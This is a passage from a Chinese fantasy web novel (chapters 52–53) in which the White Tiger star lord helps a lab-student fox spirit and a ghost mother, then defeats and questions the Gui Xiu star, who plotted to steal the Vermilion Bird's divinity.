blot,就是蛋白质印迹实验,上午制胶不顺利,得重做,必须得通宵,蛋白要先跑电泳然后孵浴抗体……” 李寅寅听她说了一串名词,连忙止住:“行行行,你这个实验,非得今天做不可吗?” 心月狐抽抽嗒嗒:“那是我的毕业论文!” “毕业论文有这么重要?连命都不要了?” 心月狐用力点头:“论文就是我的命!” 她顿了一下:“我的命也是要的,我才开题,改了好几版呢,要是出不了结果,我死不瞑目哇……所以,这不是来求您了吗!” “你们青龙星天的人都这么好学吗?”李寅寅看了一眼孟清华,他正拿着平板做题,目录显示《全国中学生奥林匹克数学竞赛模拟题》。 李寅寅跟心月狐说了这么几句话的功夫,孟清华已经做了五道填空题了。 孟清华抬起头,还没说话,李寅寅摆摆手:“行行行,我懂了。这事我来处理,好好做你的题吧。” 心月狐与李寅寅并肩出门,满脸欣喜:“多谢星君!我一定会在论文致谢里提到您的!” 李寅寅:“在致谢里被提到,很厉害吗?” “星君是想要二作吗?也没问题!” “不用了……” 第52章 关于鱼宝宝定损的问题…… “这才刚开学一个多月,怎么这么多人在卷?”李寅寅抬头看见通宵自习教室里有不少人头在晃。 心月狐回答:“那是准备考研的。” “他们是从什么时候开始的?去年?” “前天。” 李寅寅:“???” “前天开始报名,报名就是提醒那些要报名,但又不是很想复习,在裸考和放弃之间纠结的人该看看书了。” 实验室就在祥龙楼的四楼,李寅寅是外人,不能进,她留在一楼,看鱼。 那五百条鱼没有灵智,完全遵循本能,在水墙里慢悠悠地游着。 忽然,李寅寅听见外面有女孩子尖叫了一声:“啊!!!” 李寅寅大步跑出去,她的脑中闪过了“骷髅”、“尸体”、“血池”、“僵尸”……等等综合古今中外各种不思议事件。 结果…… 月光如水,照在光秃秃的水泥地上,一个穿着夹克衫的女生全身僵硬站在地上。 在她面前,站着一只……老鼠。 灰褐色,平凡又普通,大小适中,并没有比实验室的小白鼠大多少,看起来也不算凶恶。 小黄同学这段时间巡街抓老鼠的时候,那些老鼠都比这凶恶多了,不管是看见人还是看见猫,或是看见黄鼠狼,都龇牙,发出恐吓的声音。 而这只老鼠,就像动画片里的萌系老鼠那样,乖乖地蹲着,李寅寅甚至还从老鼠的眼睛里看出了一丝温柔。 温柔的老鼠,它还是老鼠,它挡在路中间,那个女孩子往左走,它就跟着往左走,她向前跑几步,老鼠就一直跟着她。 那个女孩子被彻底吓坏了,她声音颤抖:“鼠大爷,你放过我好不好?我真的好害怕啊。” “怎么了?”李寅寅大步走过去,她一眼就看见在那只灰色家鼠身上,有不止一个灵魂。 “有……有老鼠。”被小小老鼠吓得不敢往前走固然丢人,但害怕就是害怕,这实在是没办法。 李寅寅蹲下身子:“她很害怕,你就不要吓她了,大半夜的,让她早点回去睡觉吧,不然她现在这么紧张,回去还要跟舍友哭诉,还要发小红书和朋友圈,起码搞到半夜两点才能睡着,中间说不定还要醒过来看看评论,她明天早上会有黑眼圈、掉头发……” 那只老鼠就那么一动不动的蹲在那里,听她叨叨。 “好了,你过去吧。”李寅寅对女孩子说。 “谢谢!”她抱着书,狂奔而去。 等她走后,灰鼠还恋恋不舍地望着她的背景。 李寅寅伸手拎起它的后脖:“你是她的什么人?” 从灰鼠体内,响起一个中年女人的声音:“我是她妈妈。” 李寅寅:“你已经死了?不好好去投胎,附在老鼠身上干什么,老鼠又活不了多久。” “如果不这样,我进不去那栋楼……我的女儿有危险!我要保护她!”灰鼠抬头望向祥龙楼。 “你怎么知道?” 灰鼠低下头,前爪尴尬地搓了搓:“我偷看了生死簿。” “哦……我一向知道地府就是这么随便,没想到这么随便,一个死了没多久的鬼,都能偷看到生死簿。” 李寅寅的脑中闪过“缺乏天庭有力监管机制,地府工作人员懈怠懒政行为屡有发生”等等词句,还是CCTV播音腔。 灰鼠急了:“我不是孤魂野鬼,我考上了鬼差!正好负责这一片地区!我女儿的名字原来是在寿终正寝的名单里的,不知道为什么,突然被划到枉死城的名单里了!” 人的寿数自有天定,不会自动改变,该活到一百岁的,哪怕再怎么作死,都死不了,一个人单杀几百人都不会受重伤。 除非受到了另一个气运更强者的影响,或者是被别人偷走了寿命和气运。 能在这个学校里作乱的,不会是朱雀吧。 李寅寅心生好奇,有心想见识见识到底是谁能干扰到她女儿的寿命。 这事值得掺合一下。 “你女儿怕老鼠,你不知道嘛?” 灰鼠低垂着脑袋:“知道。” “那你附在老鼠身上,是想抢先一步把她吓死,让生死簿再改改?” 灰鼠愁眉苦脸:“我也没办法,附身也是有条件的,只有老鼠和蟑螂的条件最容易满足,可是,附身在蟑螂身上,连手都没有,我什么都做不了,只能找老鼠了。” “话说,你偷看了生死簿,还私下溜出来,地府那边没有什么对应的处罚标准吗?” “有,鬼差徇私,要在三途川里泡一百年。” “那你还这么勇?人生自古谁无死,无非早死与晚死,你现在违规操作,等你女儿寿终正寝了,还是有一死,等她下去了,过三途川的时候,低头一看,哟,你在水里泡着呢。” 灰鼠沉默片刻:“到时候再说吧,现在她还这么年轻,是我好不容易保下来的孩子,我不能眼睁睁地看着她就这么……” 她不愿意说出那个不吉利的字,闭了闭眼睛,定定地看着李寅寅,在这个年轻女人身上,她感觉到了比黑白无常还要强大的力量,她轻声问道:“你要告发我吗?” “告发你什么?与人私通,秽乱后宫吗?”李寅寅笑笑,“地府这个死穷抠,从来都不给帮忙抓鬼的人好处,我才不管呢。我对你女儿要遇上的事更有兴趣。” 灰鼠双眼放光:“真的?” “真的。” “星君大人,你怎么在这?”心月狐的观察任务暂时完成,心想不能把大神干晾着太久,好待出来陪着聊聊天,结果看见李寅寅在跟一只老鼠聊天。 心月狐咂咂嘴:“好肥的老鼠呀,我能摸摸吗?” 说完,还用力咽了一下口水。 灰鼠被吓得发抖,李寅寅摇头:“这个不能吃。” “哦。”心月狐悻悻,“好久没吃到好吃的老鼠了……竹鼠又太贵,白鼠不让吃……” “有点出息,都是星官了,还惦记着老鼠,藏狐都不这样。你的实验怎么样了?” 心月狐:“过一小时得再去看一下,我专门跳了祭魂舞,肯定能成功。” “什么魂,还管这个?你们行业的祖师爷吗?” “不是,是机魂,实验室里这个蛋白印迹仪,是新的,跟我们都不太熟,今天跑胶的同学没一个成功的。我找奎木狼打听了他以前出征的时候有什么仪式,晚上照做了,刚才看效果还蛮明显的,不出意外的话,这次肯定能成。” “奎木狼?你们感情挺好?” 心月狐忙打着哈哈:“以前认识,处的还不错。” 以前认识,指的是心月狐转世为武则天,奎木狼转世为丘神勣,丘神勣没有按照白虎的指示,控制武则天,反倒为武则天所用,忠心替她杀了不少人,转头就被人密告造反,被斩杀。 回天庭后,李寅寅把已经跪在堂前负荆请罪的奎木狼暴打一顿,问他知错没有,他也很委屈,说自己不知怎么就被心月狐迷惑了,然后又被李寅寅暴打一顿。 “你不用仪式,笑一笑就行了,二十八宿都知道,世上没有一个灵魂能抵挡心宿的微微一笑。” 心月狐知道李寅寅还记着一千年前那事,天庭的小道消息传说,白虎星君气得把奎木狼给阉了。 她连忙赔笑:“我跟奎星之间,真的没什么,单纯是业务往来。” “我没怪你,你是尽职尽责,他是无能中招,他活该。”李寅寅摆摆手:“不说这个,它想进实验楼保护她女儿,你对此有什么头绪吗?” 心月狐摇头:“老鼠?只有白老鼠才能在楼里待着,而且,也得被关起来,不可能做任何事。” 所以,只能当人了。 附身有灵智的动物千难万难,连附身猫狗都很难,何况附在人身上。 不然,以她能当鬼差的实力,何至于只能找着老鼠附身。 李寅寅也不能强行拖一个人来给她附身。 “如果她变成人,你能帮她搞到身份吗?” “能是能,我们老板说要招一个保洁阿姨,没有什么要求。” 灰鼠急急举起手:“我可以的,我什么都能做,不怕脏,不怕累,不会乱碰东西,我打扫卫生非常干净。以前我同事都说,我要是退休以后做家政,时薪都能拿到五十块呢。只要能让我进实验楼,我还能给你们做零食,我烘的苹果片囡囡特别爱吃。我做鬼差的这段时间,还攒了一些钱,可以给你们买试剂。” 她不要工资,不要五险一金,甚至愿意倒贴钱来上班。 心月狐虽然可以冲老师笑一笑,把他们迷惑住,但是,再怎么被迷惑,也不能让老鼠拿着扫把抹布干活,过于逆天了。 还是得给她找个人身。 心月狐拧着眉毛,皱着脸,脑袋飞快旋转:“我有个想法……不附在人身上,但是我们可以给她一个画皮。” “你会?” “我在人间认的一个侄女会,她是德国黑森林的赤狐,美术生。”言语间的自豪自信溢于言表。 “哦?德国的美术生?她报考奥地利美术学院了吗?”李寅寅开玩笑。 等见着这位德国美术生,李寅寅沉默了,眼前的小狐狸,是美术生没错,但刚上高二,且刚学了一个月。 画得水平……还不如考不上就二战的那位德国美术生。 她的目标非常明确:想上一个名声比较好的学校,但是文化课成绩不够,便想曲线救国,走艺术生的道路,进学校之后再想办法转专业,反正都是学文科。 行吧……死马当活马医。 反正李寅寅是真的不会画画,只会画儿童简笔画,比如给虎虎宠物店画的招牌封面。 那玩意儿在二次元平面上看看还行,要是变成三次元生物满地跑,那也太吓人了。 灰鼠的鬼差资格还没有被吊销,她偷摸跑到地府的剥皮地狱,拿了三张完整的人皮出来。 小狐狸惊喜地抚摸着:“哇,这么整的皮,我只在奥斯威辛见过。” “你这话,真是比地狱还地狱……怎么样,能画吗?”李寅寅问道。 小狐狸连声答应,保证没有问题:“我画得可好了,还有人愿意花五百块钱买我画的CP图呢。” 既然有人愿意花钱,至少说明画得还行? 李寅寅相信了,她还算有经验,没有说随便画,而是给出了使用场景和使用者身份。 小狐狸大笔一挥,李寅寅、心月狐和灰鼠都沉默了。 画出来的不是说不行吧,相反有名家风格:武内直子! 那眼睛,有半张脸那么大! “不行啊?”见大家都不说话,小狐狸的自信心消失了一大半:“要不,我再换个风格画一张?” “不要漫画风格。”李寅寅是真怕她再给画个CLAMP风格的出来,十二头身,那也够吓人的。 李寅寅从网上找了普通人的照片,让她对照着画,眼看着画完了,她过于兴奋,手一抖,把一大盘红颜料打翻在人皮的脸上。 看起来就像横贯了半张脸的胎记。 小狐狸努力想要补救,但是越擦越糟糕,看起来就像被火烧过以后的疤痕。 李寅寅:“……” 她转向心月狐:“你们学校招保洁,对外貌有要求吗?” 心月狐擦了擦额头上的汗:“……可能……应该……大概……没有?” “不管有没有,就算有,你也得让它没有。” 这已经是最后一张人皮,好不好都是她了,中年女人的灵魂从灰鼠里飘出来,钻进人皮。 她对着镜子看了看自己的脸,努力挤出一个笑容:“不要紧,挺好看的。” 李寅寅拍拍她:“不要给孩子虚妄的幻想。” 回到大学,李寅寅隔了老远就看到祥龙楼被一道红黑色,如火焰一般的气息笼着,煞气冲天。 她缩地成寸,瞬间移到楼前。 心月狐也紧跟着到了跟前,她惨叫一声:“我的胶片!” 就要往里冲,被李寅寅一把拉住:“那是结界,你想死吗!” 李寅寅的手劲极大,握得她的手腕像要断了一样的痛,总算让她清醒过来。 这是朱雀的南明离火结界。 心月狐想进去,那就是送人头。 朱雀星天的职责是送吉祥,降喜庆,李寅寅从来没有与朱雀陵光神君打过。 对她的实力也一无所知。 只是眼前的这道结界实在诡异,李寅寅以前见过南明离火结界,用于焚尽世间极恶之物,比如被大羿射死的那些怪兽。 那火光,是金红色的,确实看着光辉灿烂又喜庆。 但是,这结界的光,却是暗红里夹着一股一股的凶煞黑气。 四极星君中,煞气最重的就是杀人如麻的西白虎了。 如今朱雀这么搞,让李寅寅有一种被人呛行的不适感。 “朱雀,滚出来!”李寅寅厉喝一声。 没有声音,也没有人理她。 李寅寅向前迈了一步,红黑色的焰光如同感应到了威胁,光芒更盛,想要阻挡李寅寅的脚步。 如果是普通人,见前方如此凶险,必然会先退再寻求别的解决方案。 李寅寅,则大大不同。 要是她因为这焰光退一步,她就不是白虎星君了。 李寅寅一步一步走上台阶,周身白光暴涨。 白光所至,红黑色焰光如冰雪消融一般的散开。 刚才气势有多足,现在就有多尴尬。 像极了三岁小孩嚣张地冲着大人放狠话,结果被并不爱幼的大人一把抓住,暴打一顿。 李寅寅现在确定,这结界是个半吊子。 朱雀属火,白虎属金。 从五行上来说,火克金。 为此,李寅寅一口气将力量尽数放出,免得装逼托大,结果被朱雀火焰烧死。 结果…… 就这??? 刚才李寅寅是想进来跟朱雀干一架,现在她的冲天怒火变成满头问号。 整栋楼都是朱雀的气息,却不见人影。 那一面玻璃水墙里的五百条金鱼尽数翻了白肚,煞气实在太重,它们受不了,一命呜呼。 虽然,祥龙集团后勤部签了与李寅寅的金鱼养护合同,如果有死亡,公司会给钱,让李寅寅补足数的。 但是……今天早上刚把鱼放进去,晚上就全死了,这也太过份了。 祥龙公司的老板就算不是饕餮,是个正常人……哪怕是个二世祖败家仔,也受不了这么玩。 所以,合同里规定,每月死鱼数量不得超过百分之十,也就是五十条,如果超了,就得李寅寅自己负责。 现在,五百条全死了,还是刚放进去当天。 这要是让人知道了,都不是钱不钱的问题了! 是虎虎宠物店那神圣不可侵犯的商业信誉! 李寅寅大怒,张口开骂: “你这个只配钻在烤箱底的扁毛畜牲,鬼鬼祟祟藏头露尾算什么!你不是很牛逼吗!你不是很嚣张吗!出来啊!你们朱雀星空的人都死光啦!让你自己出来犯贱?!” 李寅寅越骂越来劲,骂街,一向是战争中最重要的组成部分之一。 不管是两军对垒,还是城池争夺战,两边上来都得先互喷一阵口水,用游戏术语来说,就是放嘲讽,拉仇恨,顺便鼓舞己方士气,然后再动手。 李寅寅不管是低俗的骂架,还是高级的阴阳怪气,都略知一二。 已经好久没骂了,今天晚上算是骂了个痛快。 她不仅打嘴炮,也在寻找隐藏在楼中的朱雀,她可太生气了。 忽然,一声清脆的爆烈声从二楼传来。 实验室的玻璃窗骤然迸裂,伴随着向外飞溅的玻璃碎片一起冲出去的,还有一个窈窕的身影,她脚下一蹬,借力向外飞蹿出好远,还低下头,对着站在下面的心月狐挥挥手:“晚安。” 心月狐根本不敢跟朱雀星君对上,吓得她抱着脑袋蹲地,生怕朱雀星君忽然决定把她弄死。 眼看着朱雀身形翩然,就要追不上了。 “啪”,那个潇洒从容还带着几分得意的人,以一个非常不优雅的姿势撞在什么东西上,整个人像是被压扁,然后,滑落下来。 落到一半的时候,朱雀似乎恢复了神智,又努力挣扎着想要飞起。 她还没有来得及动,后领就被人抓住,下一秒便被重重地摔在地上,紧接着,就是一团白光,对着她的胸口撞击,她当即便喷出一口血,一时间再无起身的力气。 “你的南明离火结界,太小了,显不出我们四极正神的威风。我用西庚锐金结界,替你再套上一层,如何?够结实吗?光老板。” 李定寅在她身边蹲下,用白虎亮银枪戳了戳她。 躺在地上的正是光嘉苏,她咳了几声,深吸一口气,露出一个笑脸看着李寅寅:“当初是我有眼无珠,竟然没有认出你就是白虎,用你来引蛟龙,是我失礼了。” “不客气,那么,你到底是什么人呢?”李寅寅微笑道。 光嘉苏气息微弱,却依旧用坚定的口气,一字一句地说:“南方星天之主,朱雀陵光神君。” “啪”,李寅寅抬手抽了她一耳光:“这巴掌是让你清醒清醒,你再好好想想,你是谁?” 光嘉苏吐出一口血:“监兵,你我曾同在天庭,素日不说有什么交情,但也从未有过纷争,如今天庭没有了,你何必处处与我为难?” “啪”,又是一巴掌,李寅寅冷笑:“这巴掌,是让你回忆回忆,远有用我的血引龙,近有弄死我的鱼,到底是谁跟谁为难?” 这巴掌打得极重,光嘉苏的脸颊已经高高重起。 心月狐看得心惊,她知道白虎暴戾,今日终于见到实操了,她很怕朱雀奈何不了白虎,将来把气撒在她头上。 “白虎星君,好歹同在紫垣,有话好说,将来若是同回天庭,抬头不见低头见的,不要把事做得太绝,她好像很难受的样子,要不,先让我帮她治治?” 很好,装圣母是吧? 李寅寅冷笑一声:“刚才她炸的是你的实验室,你的毕业论文没了、你要延毕了,你会成为青龙星天的耻辱。” “啊!!!”心月狐惨叫一声,大步流星向二楼跑去。 等她走了,李寅寅踢了踢躺在地上的光嘉苏:“哎,装好人的傻子走了,没人帮你说话了,说说吧,你盗走朱雀两次转世的身体,是想做什么?” “我拿走我的转世体,犯了天条吗?”光嘉苏气息奄奄,态度依旧强硬。“那就让天谴云来劈死我。” 李寅寅笑笑:“你诓骗老猴子,让他用鲜血浇花,是为了将那些人的灵气都汇在那块土里。你把朱雀第一次转世的身体埋在地下,是为了吸取地脉灵气,你用蛟龙骨,是想转换命格……” 她顿了顿:“吸这么多灵气,却不是为了修炼,只是让它们凝聚在你周围,让天谴误以为你站在福地,且身边有许多普通人,为免伤及无辜,它不会落下来,你就安全了。 你去仁坑村,是因为那里有一个靠别人赠予气运续命的老人家,鬼差忌惮于她身旁的那些忠魂,不敢去那里,所以,你可以控制着第二代朱雀的转世体去那里,是为了完成命格的转换。” “你要是带着紫微星的身体,我还能当你是想更上一层楼。你如果本来就是朱雀,却还想转成朱雀,岂不是有病?” 光嘉苏躺在地上:“我自星天转世,魂魄不全,不比你和青龙,我不仅自己力量全无,就连我的朱雀七宿都找不到在哪里,否则,我又怎么会认不出你。” “啧,你啊,下次吹牛的时候,千万要吹确定对方不知道的事情。不然,撞到专家手上,很难看的。朱雀应该没有告诉过你,只要你还记得自己是朱雀,就一定能感应到另外三个的气息吧。” “你不想说就算了,”李寅寅遗憾地站起来,手握银枪,将枪尖抵在光嘉苏的心口:“不管你是谁,只要用的是人类的身体,就能被捅死。我很期待,一会儿飞出来的会是什么呢~对了,提醒你一下,被我这枪捅死的灵魂,不会转世,只会成为我的伥鬼,开心嘛~” 光嘉苏脸色大变,在感受到枪尖刺破皮肤的瞬间,她出声了:“不要,我说……我说……我是朱雀……” 李寅寅等了半天,等来的还是一句“我是朱雀”,她又开始暴躁了。 她右手用力:“朱雀你大爷!” “……第二宿……鬼宿……鬼……金……羊……”说完最后一个字,她就疼晕了过去。 李寅寅眨眨眼睛:“咳,就说说话不要大喘气,直接说你是鬼金羊不就行了,还这么长一串。” 她拿起电话,拨通小天才电话手表: “……孟章神君呀……哎,是我……没什么……我刚把朱雀家的小弟捅破了一点皮,她胆小,吓晕过去了,你来帮忙看看呗。真的,就捅破了一点皮……不信你来看嘛……” 第53章 我命由我不由天!何况现…… “……这就是你说的擦破了一点皮?枪尖都插在心尖了。” 李寅寅脸不红心不跳:“对啊!她的皮比较厚嘛,没有肉,都是皮!” 孟清华白了她一眼,手掌被一层淡淡青光包住,按在鬼金羊的伤口,到底是将鬼金羊快要断掉的那口气捞回来。 “咳咳咳……”光嘉苏慢慢醒过来,她动了动手指,又动了动胳膊,李寅寅没有绑住她,也没有将她的灵台钉住。 “白虎星君对我这么放心。” 李寅寅懒洋洋地靠在自己的本命白虎身上:“如果我还得费心绑你,你刚才就已经跑了,又怎么会现在躺在这?” “星君说得是。” 李寅寅托着下巴:“你想把自己的命格转成朱雀?” “不错。”在青龙与白虎面前否认装傻也是没用的,光嘉苏索性大方承认。 “真有出息。”李寅寅鼓掌,“不想当元帅的士兵不是好士兵。” 孟清华看了她一眼,李寅寅冲他一笑:“本来就是嘛。” 孟清华十分不认同她的想法:“照你这么想,天下都要乱了,你方唱罢我登场,有枪就是草头王,生灵怎么过日子,还记得汉末隋末吗?” “反正又压不下去,得不到的永远在骚动,良言难劝该死的鬼,不让有野心的人试试,他们总有一天要搞事,咱们华夏大地几千年前就不玩王权神授那套了,天下有能者居之。” 孟清华摇头:“你别忘了你的身份,你想背叛你的阶级?” “谢谢夸奖,我又不用给无能儿子铺路,有本事就跟我斗一斗,把我比下去了,我就退位让贤呗~”李寅寅眉毛上挑,满脸笑容。 光嘉苏听着两人的对话,真是大开眼界:“过去没有机会与白虎星君深交,没想到星君的想法如此与众不同。” “不用夸我,你也应该知道我经常下凡历劫的吧,知道我为什么下凡历劫嘛?不就是整天叨逼叨天帝,被人打小报告给他,我又没能力揍他,只能挨罚么。” 光嘉苏:“……” 以为是个什么有反抗精神的大英雄,结果是个整顿职场失败的悲情人士。 李寅寅对自己的往事一点都不在意:“别这副表情,青龙谨小慎微,被罚下界的次数一点都不比我少,不然也不可能跟我互捅那么多次了,嘿~天帝想罚谁,打碎一个杯子都是理由,是吧,清华小朋友。” 孟清华“哼”了一声:“现在,心宿的实验室被炸了,也不用你保护了对吧,苏灵衣你自己管,别打扰我学习。” ……可恶…… 李寅寅刚才说得太痛快,把自己现在还有求于孟清华的事忘了个干干净净。 白虎星天的庭训——食食物者魏俊杰。 李寅寅笑容灿烂:“实验室被炸了,这不是还能重建吗,我跟饕餮都这么熟了,明天他再送一套新的过来也不是不行嘛。” “真的?!”心月狐刚好从二楼下来,她的毕业论文是彻底没戏了,设备也坏了,明天不知道要上哪里跪求别人施舍,正在崩溃的时候,听李寅寅说明天就能再弄套新的过来,她双眼放光,当下扑在李寅寅怀里:“星君的恩情~还~不~完~~~” 完全没在意站在一边的孟清华是什么个表情,对她来说,孟清华就是一个小屁孩,跟她的上司青龙星君一毛钱关系都没有,还不如此时与她和平共处的白虎星君有统战价值。 现在孟清华的表情就好像被人突然捅了一刀,李寅寅怀疑下一秒他就要开唱:“寒叶飘逸,洒满我的脸。吾儿叛逆,伤透我的心~~” “咳,别这样嘛,往好处想,你手下的七宿只是不认识你,总比朱雀好吧,转世一次两次都是做好事还死于非命,手下还想要抢班夺权,用尽手段要抢她的神格,你是不是比她强多了?不信你往那边看,那里躺着一个,不知道什么地方还藏着六个呐!而你,还能太太平平地上学考试比赛……” 光嘉苏:“……” 这还有我的事? 不知道打动孟清华的点是什么,总之,他释然了。 青龙释然了,青龙座下的心月狐没有,她转身就要向光嘉苏冲过去,被李寅寅拉住:“我尊重你们青龙星天的人有鞭尸一类特殊的爱好,但是她还没死呢,等她死了我肯定第一时间通知你。” “我不是想鞭尸,我要为我的胶片报仇!”心月狐咬牙切齿,“我折腾这么久,就是为了学会调电压,以后转膜过夜,大家都不用半夜起来盯着,现在全毁啦!呜呜呜,全毁啦!” 心月狐越想越生气,生气就想哭,伸手从她的小包包里面掏出纸巾,哼哼擦鼻涕。 李寅寅同情地看着她:“其实,你的星宿力量在魅力与人情世故的智慧上,如果进娱乐圈,绝对顺风顺水,入行当年就拿奖毫无压力,你为什么要走科研这条道?” “我知道进娱乐圈会轻松,但那不是我要的生活。”心月狐高昂着头。 李寅寅摸摸鼻子,这话听着耳熟,好像是生活毫无压力、小有叛逆的富二代们最喜欢说的。 鬼金羊其实与她差不多,她的星宿自带鬼气,可控所有鬼灵,就连鬼王钟馗都不如她,毕竟钟馗是后天神,而她是先天的星宿。 现在天上没人管,她想要在人间控制鬼灵供自己享乐,谁也奈何不了她,她要是想去地府,十殿阎罗也得给她客客气气。 可是,她却偏偏想做朱雀。 李寅寅在光嘉苏面前蹲下:“你有没有想过,夺取神格失败后的下场?” 光嘉苏努力扬起一个满不在乎的笑容:“想过,天界不容,地府不收,身死道消。” 宇宙每天都会有一些星星失去活动,坍塌成白矮星,直至彻底成为星尘。 哪怕是先秦时位于夏至点的鬼宿四星,消失了最多在天文学史上记一笔,并不会引起太多的在意。 “朱雀转世成猴,虽有灵性,但没有足够强的实力,所以才会被人乱棍打死。后面转世成人,虽然二十出头成了选调生,有实力也有运气,但是到底不是朱雀应该有的水平,她到底怎么了?犯了什么事?” 星宿不带记忆下凡,那是犯了天条,下界历劫受罚,比如李寅寅对这事就特别熟悉。 但是现在天界都没了,就算正在走投胎流程的神仙星官,也应该收到原有的记忆,像孟清华这样。 哪能让她这么一遍一遍的以凡人之身转世。 光嘉苏看着李寅寅好奇的脸,知道今天不满足她,这事就没完了,死都死不掉,反正也没什么一定要隐藏的理由,光嘉苏无奈叹息:“我也不知道,朱雀星天突然崩塌,我就是从天上掉下来的。” 朱雀陵光星君的性格开朗活泼,又知进退,不像白虎什么都敢说得罪一堆人,也不像青龙那样看着温和,但总觉得在算计着什么,更不像玄武星天全体宅男宅女,不爱出门,总透着那么一股神秘。 孟清华曾经对李寅寅说过:“四极星君里人缘最好的就是朱雀七宿了,陵光和手下的七宿情商极高。从来没有被罚下界历劫,就连猴子大闹天宫的时候,她都没有受到波及。” 不通知别人就算了,怎么连她都不通知,还让她稀里糊涂地在人间转来转去,反倒是她属下的鬼金羊,不仅记得自己是谁,还认出了她,并且动了取而代之的心思。 “你是怎么认出朱雀的?” 光嘉苏不解地看着李寅寅:“就这么认出来的啊,星君与七宿自上古时就绑在一起了,认不出来才奇怪吧?” 坐在后面的孟清华闭上眼睛:“我要收回对朱雀七宿情商的评价。” 她认出了朱雀,可是朱雀完全不认识她,对她说的事情也一无所知,还以为光嘉苏是一个被赶稿逼得魔障的编剧。 就在那个时候,光嘉苏就动了心思,朱雀什么都不记得了,也没有力量,算什么朱雀? 她在人间数年,学习了“周失其鹿,天下共逐之。”“王侯将相宁有种乎?彼可取而代之。” 人类古代弑君谋反成本很高,弑了君,会有也想坐天下的人来“勤王”,弑不了君,就要被君千刀万剐,满门抄斩。 成本这么高,造反的案例还是一堆接一堆。 光嘉苏一算,朱雀其他六星不知道在什么地方,而只有她,找到了朱雀两次转世的尸骨。 朱雀自己都活得浑浑噩噩,什么都不知道,要是有把造反的人千刀万剐的本事,也不至于被几根木棍打死。 夺了朱雀的神格,她就是四极神君,地府不管天上事,在人间,比她地位高的古神不是早已离开了这个世界,就是因为失了人类的祭拜而失去力量,陷入沉睡。 成了,好处多多。 败了,完全没有惩罚。 有这么好的机会,不干一票真是太对不起自己了。 “我鬼宿,是朱雀之冠,过去在天庭应对往来,都是我,我能力不输朱雀,只不过是太古定下的位次,我就要遵守吗?我不夺她的神格,她也缺位,唯一的职能,就是占着星空,不让人间发现南方缺了星量……还不如我呢!” 光嘉苏想到自己功败垂成,还是一百个不服气。 李寅寅托着腮:“你想明白自己错在哪了吗?” “错在不是天生的星君,如果我本来就是朱雀,你一出现,我就能认出你,而不是错把你当成灵气略微丰沛一些的普通人类,想拿你祭龙。” 李寅寅点点头:“嗯,这是一个点,不过,这个对于你的失败来说,只是一个充分不必要的条件。” “什么?”光嘉苏不明白她的意思。 李寅寅:“这么说吧,天命这东西,落谁头上就是谁,你要是有本事夺了天命,得到朱雀的神格,那你就是朱雀,我和青龙也不会反对。 但是,你急功近利,下手太重,让那么小的一个岛上,出现了几十起失魂事件,引起人类注意,如果来的不是我,那也是人类的法师。 一个人类法师打不过你,其他人一定会源源不断的过去。 最后的结果,要么他们把你杀了,要么你把他们杀了,等你杀够了数,就会引来天谴云,一道天雷把你劈死。 我来不来,不是重点,重点是你的行为,根本就是无解的寻死之路。” 光嘉苏怔怔地看着她:“那些人,不是犼干的吗?跟我有什么关系?” 她早就知道山中有犼灵,犼食人,这很合理。 只要不把她需要的人吃光了,不要招惹她,她就可以不管不问。 出现第一个失魂事件的时候,她就以为是犼饿了、馋了,后来虽然知道人过来查,但是在她眼里,尾火虎就是一个普通虎妖,李寅寅和谭宁都是略有一丁点神通的普通人类,再说,又不是冲着她来的,根本就不用在意。 李寅寅简直无语:“不是,你在人间这么多年了,没听说过敲山震虎啊?你旁边出了这么大的事,你是一丁点都不关心啊?你知不知道大黑社团要主动去管小黑社团,就是为了避免招惹出大麻烦,连带着自己也被一锅端?” 李寅寅越说越激动,从来不下凡的鬼宿,看着李寅寅的眼神,透着清澈见底的纯洁。 “不是我说你啊!就你这样,还是别抢朱雀神格了,抢来了也不长久,捂不热就给吃了,这脑子,只配挂在秦皇陵的地宫天花板上面!” 李寅寅看着她:“朱雀的神格呢,为什么你有朱雀的神格,还这么废?” “不全……”光嘉苏自知今天肯定不能幸免,她也索性将一切都痛快说了:“其实,朱雀所有的转世体,我都已经找到,为了避免被发现,我将她的三魂七魄分成十份投入轮回。 地府发现有十个朱雀转世,但又不知道是怎么回事,为了平账,他们会随机挑一个,认为她才是朱雀转世,其实,只不过是十分之一罢了。 只不过魂魄能分,气运不能分,我把她的气运绑在其中十分之一的魂魄上,先收其他没有气运的魂魄。 她轮回一次,我就将她的魂魄收回。 不全的魂魄,转世投胎也会早早死去。 时间久了,地府的记档就会出现混乱,现在,他们应该已经不知道在任丹丹之后,朱雀又转世成谁了吧……哈哈哈哈哈。” 光嘉苏大笑,她是不甘心,凭什么混吃等死,随便平烂账的地府就什么事都没有,她怎么就被抓了,还是因为别人的错被抓。 “哈哈哈哈哈,可不是嘛~”李寅寅笑得更大声,她跟地府打过几次交道,对光嘉苏的吐槽非常赞同。 “他们做事就是这么乱来的啦,不然区区地缚灵,他们还能搞不定?就是懒呗,哎,你说,要是你当初从南方星天下来的时候,不在人间浪费时间,直接去地府,整顿吏治,现在地府的档案管理工作说不定就上升一个台阶,然后十殿阎君统统下野让位,地藏王也就是一个帮你干活的……那该多好啊!” 她这番话,把光嘉苏都给说愣了。 什么阎君让位,地藏打工? 这是我能听的吗? 这是星君正神应该说的吗? 她怎么这么敢想?!还这么敢说。 光嘉苏轻笑:“星君真敢说,难怪……以前隔几百年,就听说白虎星君又下凡历劫了……果然是有原因的。” 李寅寅转头看了一眼:“孟章神君,小狐狸,你们刚才听见什么了?” 孟清华连头都没抬,也不理她。 心月狐笑着朗声答道:“没有。” 李寅寅指着青龙星天的两个人,对光嘉苏说:“看到没?学到没?感受到东极正神和他属下之间的实力差距了吗?说没有,就显得她听到了,欲盖弥彰。头都不抬,泰山崩于前都假装没听到,这才是装聋的至高境界。” 心月狐:“……” 李寅寅接着问:“朱雀的魂魄还有多少散失在外的?” “还有十分之一魂魄和气运,都在一个叫周金凤的女人身上。” 李寅寅眼神微动:“不会是捐这栋楼的祥龙集团里的那个周金凤吧?” “就是她。” 李寅寅眉头微皱:“她怎么没有像其他朱雀那样早死?” “这就是我今天来的原因,这栋楼里面,有东西改了她的命格,再加上她有朱雀气运,不会受到天命之外的伤害,就连我都无法出手硬夺她的魂魄。” “你没努力就没努力,怪什么气运。”李寅寅认为她在甩锅。 光嘉苏恼了:“这真不能怪我!周金凤这一世出生在山村,生出她的女人是被拐卖进去的。 